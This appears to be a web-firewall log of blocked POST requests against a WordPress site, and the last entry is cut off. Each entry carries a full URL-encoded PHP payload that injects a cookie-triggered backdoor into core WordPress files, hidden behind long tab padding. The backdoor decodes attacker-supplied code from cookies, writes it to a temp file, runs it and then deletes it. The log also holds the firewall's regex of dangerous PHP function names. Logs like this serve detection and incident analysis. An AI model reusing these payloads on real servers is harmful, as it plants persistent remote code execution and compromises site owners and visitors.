["2026-05-12 22:51:35","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-29%252B29%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B93%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B11-7%255D%2529%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524fac%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527928f0d85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522auth_exception_handler%2522%253B%2520%257D%2520%2524parameter_group%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524desc%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524parameter_group%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524flg%2520%253D%2520%2522e51463bf71a95e300f262992e68c0db4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524desc%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_data_storage%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJT0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4317\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nXm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-29%252B29%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B93%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B11-7%255D%2529%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524fac%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527928f0d85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522auth_exception_handler%2522%253B%2520%257D%2520%2524parameter_group%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524desc%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524parameter_group%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524flg%2520%253D%2520%2522e51463bf71a95e300f262992e68c0db4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524desc%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_data_storage%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:51:41","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ja:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-29%252B29%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B93%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B11-7%255D%2529%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524fac%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527928f0d85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522auth_exception_handler%2522%253B%2520%257D%2520%2524parameter_group%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524desc%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524parameter_group%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524flg%2520%253D%2520%2522e51463bf71a95e300f262992e68c0db4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524desc%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_data_storage%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFzRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4317\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\n\nJa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-29%252B29%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B93%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B11-7%255D%2529%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524fac%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527928f0d85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522auth_exception_handler%2522%253B%2520%257D%2520%2524parameter_group%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524desc%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524parameter_group%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524flg%2520%253D%2520%2522e51463bf71a95e300f262992e68c0db4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524desc%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_data_storage%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:51:48","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-29%252B29%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B93%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B11-7%255D%2529%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524fac%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527928f0d85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522auth_exception_handler%2522%253B%2520%257D%2520%2524parameter_group%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524desc%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524parameter_group%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524flg%2520%253D%2520%2522e51463bf71a95e300f262992e68c0db4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524desc%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_data_storage%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4340\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-29%252B29%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B93%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B11-7%255D%2529%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524fac%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527928f0d85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522auth_exception_handler%2522%253B%2520%257D%2520%2524parameter_group%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524desc%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524parameter_group%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524flg%2520%253D%2520%2522e51463bf71a95e300f262992e68c0db4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524desc%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_data_storage%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:51:59","163.172.31.86","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/user-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-67%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-17%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524desc%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527171b4836%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%